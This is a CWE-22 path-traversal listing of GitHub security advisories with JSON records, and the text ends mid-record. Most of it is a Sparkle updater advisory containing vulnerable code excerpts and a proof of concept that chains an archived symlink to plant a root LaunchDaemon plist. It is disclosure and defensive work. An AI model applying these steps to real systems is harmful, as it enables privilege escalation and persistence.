CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13904 vulnerabilities reference this CWE, most recent first.
GHSA-HG88-V3CW-3QRH
Vulnerability from github – Published: 2026-05-29 19:45 – Updated: 2026-07-21 13:52Summary
Binary delta apply intermediate-symlink traversal in malicious .delta
Autoupdate/SUBinaryDeltaApply.m enforces relativePath.pathComponents containsObject:@".." and rejects writes whose immediate parent directory IS itself a symbolic link, but does not detect symlinks deeper in the relative path. Autoupdate/SPUSparkleDeltaArchive.m's extractItem: will create symlinks in the destination tree from archive content (no .. check on the symlink target), and a subsequent Extract item targeting <symlink>/foo/bar then escapes the destination tree via fopen(path, "wb") because the kernel resolves the intermediate symlink during the open call.
This is a defense-in-depth issue: exploitation requires a maliciously-crafted .delta that passes EdDSA signature verification, i.e. EdDSA private-key compromise. With the AppInstaller running as root for system-domain installs, it gives the holder of a stolen signing key arbitrary file write at root level via the delta-apply path, which is a strictly broader primitive than the "drop-in replacement bundle" install they would otherwise have.
Affected versions: 1.x (master branch), 2.x branch including 2.9.1.
Details
Symlink writeable from archive
Autoupdate/SPUSparkleDeltaArchive.m:557-678's extractItem: handles symlinks if the archive item carries S_ISLNK(mode):
} else {
// Link files
if (PARTIAL_IO_CHUNK_SIZE < decodedLength) { ...too long... }
if (decodedLength > PATH_MAX) { ...too long... }
char buffer[PATH_MAX + 1] = {0};
if (![self _readBuffer:buffer length:(int32_t)decodedLength]) { ... }
NSString *destinationPath = [fileManager stringWithFileSystemRepresentation:buffer length:decodedLength];
[fileManager removeItemAtPath:itemFilePath error:NULL];
NSError *createLinkError = nil;
if (![fileManager createSymbolicLinkAtPath:itemFilePath withDestinationPath:destinationPath error:&createLinkError]) {
_error = createLinkError;
return NO;
}
...
lchmod(itemFilePathString, mode);
}
The link's destinationPath is taken verbatim from the archive content with only a length cap; absolute paths and .. are accepted. After this item is processed, the destination tree contains a symlink that points outside it.
Parent-symlink check is shallow
Autoupdate/SUBinaryDeltaApply.m:177-207:
[archive enumerateItems:^(SPUDeltaArchiveItem *item, BOOL *stop) {
NSString *relativePath = item.relativeFilePath;
if ([relativePath.pathComponents containsObject:@".."]) {
...reject...
}
NSString *sourceFilePath = [source stringByAppendingPathComponent:relativePath];
NSString *destinationFilePath = [destination stringByAppendingPathComponent:relativePath];
{
NSString *destinationParentDirectory = destinationFilePath.stringByDeletingLastPathComponent;
NSDictionary<NSFileAttributeKey, id> *destinationParentDirectoryAttributes = [fileManager attributesOfItemAtPath:destinationParentDirectory error:NULL];
// It is OK for the directory parent to not exist if it has already been removed
if (destinationParentDirectoryAttributes != nil) {
NSString *fileType = destinationParentDirectoryAttributes[NSFileType];
if ([fileType isEqualToString:NSFileTypeSymbolicLink]) {
...reject...
}
}
}
...
}];
Two gaps:
-
The check inspects only
destinationParentDirectory(one level up), not all intermediate components. For a relative patha/b/c.txt, the kernel resolves through any symlink at componenta.attributesOfItemAtPath:with the resolved path returns attributes of the resolved-through directory, which isNSFileTypeDirectory(notNSFileTypeSymbolicLink), so the check passes. -
The check is skipped entirely if
destinationParentDirectoryAttributes == nil(line 195). When the symlink target is to a directory that does not contain the named subpath, the parent appears not to exist and the check is skipped. The subsequentfopen(path, "wb")then creates the file along the resolved path.
Write primitive
For an item with SPUDeltaItemCommandExtract set, SUBinaryDeltaApply.m:354-365 calls [archive extractItem:item] which goes through SPUSparkleDeltaArchive.m:574-622 for regular files:
[fileManager removeItemAtPath:itemFilePath error:NULL];
char itemFilePathString[PATH_MAX + 1] = {0};
if (![itemFilePath getFileSystemRepresentation:itemFilePathString maxLength:sizeof(itemFilePathString) - 1]) { ... }
FILE *outputFile = fopen(itemFilePathString, "wb");
fopen(path, "wb") follows symlinks at every path component and creates/truncates the file at the resolved path. If <dest>/a is a symlink to /Library/LaunchDaemons (for a root install) and the relative path is a/com.attacker.plist, the call writes /Library/LaunchDaemons/com.attacker.plist.
The chmod follow-up at SUBinaryDeltaApply.m:335 (chmod(destinationFilePath.fileSystemRepresentation, sourceFileInfo.st_mode)) and SPUSparkleDeltaArchive.m:619 (chmod(itemFilePathString, mode)) likewise follows symlinks, so attacker-chosen permissions land on the attacker-chosen target.
Threat model
This primitive is reachable only when the archive can pass EdDSA signature verification, which requires either:
- The developer's private signing key has been compromised, or
- A separate vulnerability allows bypassing
SUSignatureVerifier(none was identified in this review).
Given a stolen private key, the attacker already has the ability to push a normal full-bundle update. The delta-apply traversal grants strictly more: arbitrary file write into directories outside <destination>. When the AppInstaller runs in the system domain (root), this becomes arbitrary file write as root, which is qualitatively broader than "replace the app bundle".
It is therefore worth fixing as a defense-in-depth measure, even though the prerequisite (key compromise) is itself a worst case.
PoC
The PoC requires a valid EdDSA signature on the malicious .delta archive. With a test signing key under your control (any Sparkle test fixture key), generate a delta as follows:
- Construct the archive payload with two items, in this order, using the
SPUSparkleDeltaArchivewriter (or by hand-assembling the format described inSPUSparkleDeltaArchive.mandSPUDeltaArchiveProtocol.h):
Item 1:
relativeFilePath = "Contents/Resources/escape"
commands = SPUDeltaItemCommandExtract (= 0x02)
mode = S_IFLNK | 0o755 (= 0xA1ED)
payload = "/Library/LaunchDaemons"
Item 2:
relativeFilePath = "Contents/Resources/escape/com.attacker.persistence.plist"
commands = SPUDeltaItemCommandExtract (= 0x02)
mode = S_IFREG | 0o644 (= 0x81A4)
payload = <attacker-chosen LaunchDaemon plist bytes>
-
Sign the archive with the test EdDSA key, publish it as a delta enclosure with matching
sparkle:edSignature, and host it from a feed pointed at by a Sparkle host whose old-bundle public key matches. -
Trigger a system-domain install. The flow:
applyBinaryDeltaenumerates items.- Item 1 passes the
..check (the path components areContents,Resources,escape- no..). The parentContents/Resourcesexists in the source-copy and is a directory, not a symlink. The check passes.extractItem:forS_ISLNK(mode)callscreateSymbolicLinkAtPath:withDestinationPath:and creates<dest>/Contents/Resources/escape -> /Library/LaunchDaemons. - Item 2 passes the
..check. Its parent<dest>/Contents/Resources/escaperesolves through the just-created symlink to/Library/LaunchDaemons, whose attributes are returned asNSFileTypeDirectory(not symlink). The check passes. extractItem:forS_ISREG(mode)doesremoveItemAtPath(no-op, target file does not yet exist) thenfopen("<dest>/Contents/Resources/escape/com.attacker.persistence.plist", "wb"). The kernel resolves the symlink and creates/Library/LaunchDaemons/com.attacker.persistence.plist.-
The hash check at the end of
applyBinaryDelta(getRawHashOfTreeWithVersion(afterHash, finalDestination, ...)) is computed only againstfinalDestination. The file dropped at/Library/LaunchDaemons/is outside that tree and does not affect the hash. The hash check still passes (or, if it does not because the dest tree is missing the file, the dropped LaunchDaemon plist is still left behind - destination cleanup at line 471 only removesfinalDestination, not the escape target). -
Observed result: a root-owned LaunchDaemon plist exists at
/Library/LaunchDaemons/com.attacker.persistence.plist. On next reboot it is launched as root.
A simpler proof-of-concept that does not require a system-domain install: target a user-writable directory (e.g. ~/Library/LaunchAgents/), use a user-domain Sparkle host. The same item-pair lands a user-level LaunchAgent at next login.
Impact
Defense-in-depth gap: the holder of a compromised EdDSA signing key gains a primitive (arbitrary file write at the privilege of the AppInstaller process) that exceeds what an "install a malicious bundle" path provides. For system-domain installs this is arbitrary file write as root, including locations outside the target app bundle (/Library/LaunchDaemons, /etc/... subpaths that exist as directories, /usr/local/, etc.).
Recommended fix: in SUBinaryDeltaApply.m, walk every component of relativePath and reject if any intermediate component is a symlink (or refuse to allow the archive to create symlinks during apply at all, given the limited number of legitimate use cases for symlinks inside an .app bundle and the existing lchmod already in place). Cleanup on failure should also removeTree along the symlink target, not just finalDestination.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.9.1"
},
"package": {
"ecosystem": "SwiftURL",
"name": "github.com/sparkle-project/Sparkle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47121"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T19:45:04Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nBinary delta apply intermediate-symlink traversal in malicious .delta\n\n`Autoupdate/SUBinaryDeltaApply.m` enforces `relativePath.pathComponents containsObject:@\"..\"` and rejects writes whose immediate parent directory IS itself a symbolic link, but does not detect symlinks deeper in the relative path. `Autoupdate/SPUSparkleDeltaArchive.m`\u0027s `extractItem:` will create symlinks in the destination tree from archive content (no `..` check on the symlink target), and a subsequent `Extract` item targeting `\u003csymlink\u003e/foo/bar` then escapes the destination tree via `fopen(path, \"wb\")` because the kernel resolves the intermediate symlink during the open call.\n\nThis is a defense-in-depth issue: exploitation requires a maliciously-crafted `.delta` that passes EdDSA signature verification, i.e. EdDSA private-key compromise. With the AppInstaller running as root for system-domain installs, it gives the holder of a stolen signing key arbitrary file write at root level via the delta-apply path, which is a strictly broader primitive than the \"drop-in replacement bundle\" install they would otherwise have.\n\nAffected versions: 1.x (master branch), 2.x branch including 2.9.1.\n\n## Details\n\n### Symlink writeable from archive\n\n`Autoupdate/SPUSparkleDeltaArchive.m:557-678`\u0027s `extractItem:` handles symlinks if the archive item carries `S_ISLNK(mode)`:\n\n```objc\n} else {\n // Link files\n\n if (PARTIAL_IO_CHUNK_SIZE \u003c decodedLength) { ...too long... }\n if (decodedLength \u003e PATH_MAX) { ...too long... }\n\n char buffer[PATH_MAX + 1] = {0};\n if (![self _readBuffer:buffer length:(int32_t)decodedLength]) { ... }\n\n NSString *destinationPath = [fileManager stringWithFileSystemRepresentation:buffer length:decodedLength];\n\n [fileManager removeItemAtPath:itemFilePath error:NULL];\n\n NSError *createLinkError = nil;\n if (![fileManager createSymbolicLinkAtPath:itemFilePath withDestinationPath:destinationPath error:\u0026createLinkError]) {\n _error = createLinkError;\n return NO;\n }\n ...\n lchmod(itemFilePathString, mode);\n}\n```\n\nThe link\u0027s `destinationPath` is taken verbatim from the archive content with only a length cap; absolute paths and `..` are accepted. After this item is processed, the destination tree contains a symlink that points outside it.\n\n### Parent-symlink check is shallow\n\n`Autoupdate/SUBinaryDeltaApply.m:177-207`:\n\n```objc\n[archive enumerateItems:^(SPUDeltaArchiveItem *item, BOOL *stop) {\n NSString *relativePath = item.relativeFilePath;\n\n if ([relativePath.pathComponents containsObject:@\"..\"]) {\n ...reject...\n }\n\n NSString *sourceFilePath = [source stringByAppendingPathComponent:relativePath];\n NSString *destinationFilePath = [destination stringByAppendingPathComponent:relativePath];\n {\n NSString *destinationParentDirectory = destinationFilePath.stringByDeletingLastPathComponent;\n NSDictionary\u003cNSFileAttributeKey, id\u003e *destinationParentDirectoryAttributes = [fileManager attributesOfItemAtPath:destinationParentDirectory error:NULL];\n\n // It is OK for the directory parent to not exist if it has already been removed\n if (destinationParentDirectoryAttributes != nil) {\n NSString *fileType = destinationParentDirectoryAttributes[NSFileType];\n if ([fileType isEqualToString:NSFileTypeSymbolicLink]) {\n ...reject...\n }\n }\n }\n ...\n}];\n```\n\nTwo gaps:\n\n1. The check inspects only `destinationParentDirectory` (one level up), not all intermediate components. For a relative path `a/b/c.txt`, the kernel resolves through any symlink at component `a`. `attributesOfItemAtPath:` with the resolved path returns attributes of the resolved-through directory, which is `NSFileTypeDirectory` (not `NSFileTypeSymbolicLink`), so the check passes.\n\n2. The check is skipped entirely if `destinationParentDirectoryAttributes == nil` (line 195). When the symlink target is to a directory that does not contain the named subpath, the parent appears not to exist and the check is skipped. The subsequent `fopen(path, \"wb\")` then creates the file along the resolved path.\n\n### Write primitive\n\nFor an item with `SPUDeltaItemCommandExtract` set, `SUBinaryDeltaApply.m:354-365` calls `[archive extractItem:item]` which goes through `SPUSparkleDeltaArchive.m:574-622` for regular files:\n\n```objc\n[fileManager removeItemAtPath:itemFilePath error:NULL];\n\nchar itemFilePathString[PATH_MAX + 1] = {0};\nif (![itemFilePath getFileSystemRepresentation:itemFilePathString maxLength:sizeof(itemFilePathString) - 1]) { ... }\n\nFILE *outputFile = fopen(itemFilePathString, \"wb\");\n```\n\n`fopen(path, \"wb\")` follows symlinks at every path component and creates/truncates the file at the resolved path. If `\u003cdest\u003e/a` is a symlink to `/Library/LaunchDaemons` (for a root install) and the relative path is `a/com.attacker.plist`, the call writes `/Library/LaunchDaemons/com.attacker.plist`.\n\nThe `chmod` follow-up at `SUBinaryDeltaApply.m:335` (`chmod(destinationFilePath.fileSystemRepresentation, sourceFileInfo.st_mode)`) and `SPUSparkleDeltaArchive.m:619` (`chmod(itemFilePathString, mode)`) likewise follows symlinks, so attacker-chosen permissions land on the attacker-chosen target.\n\n### Threat model\n\nThis primitive is reachable only when the archive can pass EdDSA signature verification, which requires either:\n\n- The developer\u0027s private signing key has been compromised, or\n- A separate vulnerability allows bypassing `SUSignatureVerifier` (none was identified in this review).\n\nGiven a stolen private key, the attacker already has the ability to push a normal full-bundle update. The delta-apply traversal grants strictly more: arbitrary file write into directories outside `\u003cdestination\u003e`. When the AppInstaller runs in the system domain (root), this becomes arbitrary file write as root, which is qualitatively broader than \"replace the app bundle\".\n\nIt is therefore worth fixing as a defense-in-depth measure, even though the prerequisite (key compromise) is itself a worst case.\n\n## PoC\n\nThe PoC requires a valid EdDSA signature on the malicious `.delta` archive. With a test signing key under your control (any Sparkle test fixture key), generate a delta as follows:\n\n1. Construct the archive payload with two items, in this order, using the `SPUSparkleDeltaArchive` writer (or by hand-assembling the format described in `SPUSparkleDeltaArchive.m` and `SPUDeltaArchiveProtocol.h`):\n\n```\nItem 1:\n relativeFilePath = \"Contents/Resources/escape\"\n commands = SPUDeltaItemCommandExtract (= 0x02)\n mode = S_IFLNK | 0o755 (= 0xA1ED)\n payload = \"/Library/LaunchDaemons\"\n\nItem 2:\n relativeFilePath = \"Contents/Resources/escape/com.attacker.persistence.plist\"\n commands = SPUDeltaItemCommandExtract (= 0x02)\n mode = S_IFREG | 0o644 (= 0x81A4)\n payload = \u003cattacker-chosen LaunchDaemon plist bytes\u003e\n```\n\n2. Sign the archive with the test EdDSA key, publish it as a delta enclosure with matching `sparkle:edSignature`, and host it from a feed pointed at by a Sparkle host whose old-bundle public key matches.\n\n3. Trigger a system-domain install. The flow:\n - `applyBinaryDelta` enumerates items.\n - Item 1 passes the `..` check (the path components are `Contents`, `Resources`, `escape` - no `..`). The parent `Contents/Resources` exists in the source-copy and is a directory, not a symlink. The check passes. `extractItem:` for `S_ISLNK(mode)` calls `createSymbolicLinkAtPath:withDestinationPath:` and creates `\u003cdest\u003e/Contents/Resources/escape -\u003e /Library/LaunchDaemons`.\n - Item 2 passes the `..` check. Its parent `\u003cdest\u003e/Contents/Resources/escape` resolves through the just-created symlink to `/Library/LaunchDaemons`, whose attributes are returned as `NSFileTypeDirectory` (not symlink). The check passes.\n - `extractItem:` for `S_ISREG(mode)` does `removeItemAtPath` (no-op, target file does not yet exist) then `fopen(\"\u003cdest\u003e/Contents/Resources/escape/com.attacker.persistence.plist\", \"wb\")`. The kernel resolves the symlink and creates `/Library/LaunchDaemons/com.attacker.persistence.plist`.\n - The hash check at the end of `applyBinaryDelta` (`getRawHashOfTreeWithVersion(afterHash, finalDestination, ...)`) is computed only against `finalDestination`. The file dropped at `/Library/LaunchDaemons/` is outside that tree and does not affect the hash. The hash check still passes (or, if it does not because the dest tree is missing the file, the dropped LaunchDaemon plist is still left behind - destination cleanup at line 471 only removes `finalDestination`, not the escape target).\n\n4. Observed result: a root-owned LaunchDaemon plist exists at `/Library/LaunchDaemons/com.attacker.persistence.plist`. On next reboot it is launched as root.\n\nA simpler proof-of-concept that does not require a system-domain install: target a user-writable directory (e.g. `~/Library/LaunchAgents/`), use a user-domain Sparkle host. The same item-pair lands a user-level LaunchAgent at next login.\n\n## Impact\n\nDefense-in-depth gap: the holder of a compromised EdDSA signing key gains a primitive (arbitrary file write at the privilege of the AppInstaller process) that exceeds what an \"install a malicious bundle\" path provides. For system-domain installs this is arbitrary file write as root, including locations outside the target app bundle (`/Library/LaunchDaemons`, `/etc/...` subpaths that exist as directories, `/usr/local/`, etc.).\n\nRecommended fix: in `SUBinaryDeltaApply.m`, walk every component of `relativePath` and reject if any intermediate component is a symlink (or refuse to allow the archive to create symlinks during apply at all, given the limited number of legitimate use cases for symlinks inside an `.app` bundle and the existing `lchmod` already in place). Cleanup on failure should also `removeTree` along the symlink target, not just `finalDestination`.",
"id": "GHSA-hg88-v3cw-3qrh",
"modified": "2026-07-21T13:52:01Z",
"published": "2026-05-29T19:45:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sparkle-project/Sparkle/security/advisories/GHSA-hg88-v3cw-3qrh"
},
{
"type": "WEB",
"url": "https://github.com/sparkle-project/Sparkle/commit/fe7b718d0736f3e139e374e26fbca96f29e13bf0"
},
{
"type": "PACKAGE",
"url": "https://github.com/sparkle-project/Sparkle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Sparkle: Binary delta apply intermediate-symlink traversal in malicious .delta"
}
GHSA-HG9X-8Q33-PG7F
Vulnerability from github – Published: 2025-04-07 18:30 – Updated: 2025-04-10 18:32The IntelliSpace portal application utilizes .NET Remoting for its functionality. The vulnerability arises from the exploitation of port 755 through the "Object Marshalling" technique, which allows an attacker to read internal files without any authentication. This is possible by crafting specific .NET Remoting URLs derived from information enumerated in the client-side configuration files.
This issue affects IntelliSpace Portal: 12 and prior.
{
"affected": [],
"aliases": [
"CVE-2025-3424"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-07T16:15:27Z",
"severity": "HIGH"
},
"details": "The IntelliSpace portal application utilizes .NET\nRemoting for its functionality. The vulnerability arises from the exploitation\nof port 755 through the \"Object Marshalling\" technique, which allows\nan attacker to read internal files without any authentication. This is possible\nby crafting specific .NET Remoting URLs derived from information enumerated in\nthe client-side configuration files.\n\n\n\n\n\n\n\nThis issue affects IntelliSpace Portal: 12 and prior.",
"id": "GHSA-hg9x-8q33-pg7f",
"modified": "2025-04-10T18:32:02Z",
"published": "2025-04-07T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3424"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3424"
},
{
"type": "WEB",
"url": "https://www.philips.com/a-w/security/security-advisories.html#security_advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:U/V:C/RE:M/U:Green",
"type": "CVSS_V4"
}
]
}
GHSA-HGCR-2CCF-92WV
Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2022-05-13 01:38This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Joyent Smart Data Center prior to agentsshar@1.0.0-release-20160901-20160901T051624Z-g3fd5adf (e469cf49-4de3-4658-8419-ab42837916ad). An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the docker API. The process does not properly validate user-supplied data which can allow for the upload of arbitrary files. An attacker can leverage this vulnerability to execute arbitrary code under the context of root. Was ZDI-CAN-3853.
{
"affected": [],
"aliases": [
"CVE-2017-10940"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-31T19:29:00Z",
"severity": "HIGH"
},
"details": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Joyent Smart Data Center prior to agentsshar@1.0.0-release-20160901-20160901T051624Z-g3fd5adf (e469cf49-4de3-4658-8419-ab42837916ad). An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the docker API. The process does not properly validate user-supplied data which can allow for the upload of arbitrary files. An attacker can leverage this vulnerability to execute arbitrary code under the context of root. Was ZDI-CAN-3853.",
"id": "GHSA-hgcr-2ccf-92wv",
"modified": "2022-05-13T01:38:20Z",
"published": "2022-05-13T01:38:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-10940"
},
{
"type": "WEB",
"url": "https://help.joyent.com/hc/en-us/articles/115009649927-Security-Advisory-ZDI-CAN-3853-Docker-File-Overwrite-Vulnerability"
},
{
"type": "WEB",
"url": "https://zerodayinitiative.com/advisories/ZDI-17-453"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/99510"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HGFF-WP2M-JGFW
Vulnerability from github – Published: 2025-10-05 06:30 – Updated: 2025-10-22 00:33Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: BI Publisher Integration). Supported versions that are affected are 12.2.3-12.2.14. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Concurrent Processing. Successful attacks of this vulnerability can result in takeover of Oracle Concurrent Processing. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2025-61882"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-284",
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-05T04:15:40Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: BI Publisher Integration). Supported versions that are affected are 12.2.3-12.2.14. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Concurrent Processing. Successful attacks of this vulnerability can result in takeover of Oracle Concurrent Processing. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-hgff-wp2m-jgfw",
"modified": "2025-10-22T00:33:24Z",
"published": "2025-10-05T06:30:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61882"
},
{
"type": "WEB",
"url": "https://blogs.oracle.com/security/post/apply-july-2025-cpu"
},
{
"type": "WEB",
"url": "https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-61882"
},
{
"type": "WEB",
"url": "https://www.crowdstrike.com/en-us/blog/crowdstrike-identifies-campaign-targeting-oracle-e-business-suite-zero-day-CVE-2025-61882"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/alert-cve-2025-61882.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HGFQ-CV8M-96HR
Vulnerability from github – Published: 2022-05-14 03:32 – Updated: 2022-05-14 03:32Directory traversal vulnerability in SecurEnvoy SecurMail before 9.2.501 allows remote authenticated users to read arbitrary e-mail messages via a .. (dot dot) in the option2 parameter in an attachment action to secmail/getmessage.exe.
{
"affected": [],
"aliases": [
"CVE-2018-7706"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-15T01:29:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in SecurEnvoy SecurMail before 9.2.501 allows remote authenticated users to read arbitrary e-mail messages via a .. (dot dot) in the option2 parameter in an attachment action to secmail/getmessage.exe.",
"id": "GHSA-hgfq-cv8m-96hr",
"modified": "2022-05-14T03:32:55Z",
"published": "2022-05-14T03:32:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7706"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/44285"
},
{
"type": "WEB",
"url": "https://www.sec-consult.com/en/blog/advisories/multiple-critical-vulnerabilities-in-securenvoy-securmail/index.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/Mar/29"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HGG7-RRQQ-66FX
Vulnerability from github – Published: 2022-05-01 23:52 – Updated: 2022-05-01 23:52Multiple directory traversal vulnerabilities in ErfurtWiki R1.02b and earlier, when register_globals is enabled, allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the (1) ewiki_id and (2) ewiki_action parameters to fragments/css.php, and possibly the (3) id parameter to the default URI. NOTE: the default URI is site-specific but often performs an include_once of ewiki.php.
{
"affected": [],
"aliases": [
"CVE-2008-2672"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-06-12T02:32:00Z",
"severity": "HIGH"
},
"details": "Multiple directory traversal vulnerabilities in ErfurtWiki R1.02b and earlier, when register_globals is enabled, allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the (1) ewiki_id and (2) ewiki_action parameters to fragments/css.php, and possibly the (3) id parameter to the default URI. NOTE: the default URI is site-specific but often performs an include_once of ewiki.php.",
"id": "GHSA-hgg7-rrqq-66fx",
"modified": "2022-05-01T23:52:25Z",
"published": "2022-05-01T23:52:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2672"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42981"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5771"
},
{
"type": "WEB",
"url": "http://chroot.org/exploits/chroot_uu_007"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3936"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/493219/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29628"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HGG8-4HPQ-V348
Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2024-04-04 02:08joyplus-cms 1.6.0 allows manager/admin_pic.php?rootpath= absolute path traversal.
{
"affected": [],
"aliases": [
"CVE-2019-17175"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-04T15:15:00Z",
"severity": "HIGH"
},
"details": "joyplus-cms 1.6.0 allows manager/admin_pic.php?rootpath= absolute path traversal.",
"id": "GHSA-hgg8-4hpq-v348",
"modified": "2024-04-04T02:08:49Z",
"published": "2022-05-24T16:57:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17175"
},
{
"type": "WEB",
"url": "https://github.com/joyplus/joyplus-cms/issues/443"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HGGM-X7R9-MM7V
Vulnerability from github – Published: 2026-03-26 18:31 – Updated: 2026-06-08 20:14OpenClaw through 2026.3.23 (fixed in commit 4797bbc) contains a path traversal vulnerability in media parsing that allows attackers to read arbitrary files by bypassing path validation in the isLikelyLocalPath() and isValidMedia() functions. Attackers can exploit incomplete validation and the allowBareFilename bypass to reference files outside the intended application sandbox, resulting in disclosure of sensitive information including system files, environment files, and SSH keys.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.3.23"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.03.28"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32846"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-30T13:29:48Z",
"nvd_published_at": "2026-03-26T17:16:37Z",
"severity": "HIGH"
},
"details": "OpenClaw through 2026.3.23 (fixed in commit 4797bbc) contains a path traversal vulnerability in media parsing that allows attackers to read arbitrary files by bypassing path validation in the isLikelyLocalPath() and isValidMedia() functions. Attackers can exploit incomplete validation and the allowBareFilename bypass to reference files outside the intended application sandbox, resulting in disclosure of sensitive information including system files, environment files, and SSH keys.",
"id": "GHSA-hggm-x7r9-mm7v",
"modified": "2026-06-08T20:14:00Z",
"published": "2026-03-26T18:31:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-f6pf-4gjx-c94r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32846"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/pull/54642"
},
{
"type": "WEB",
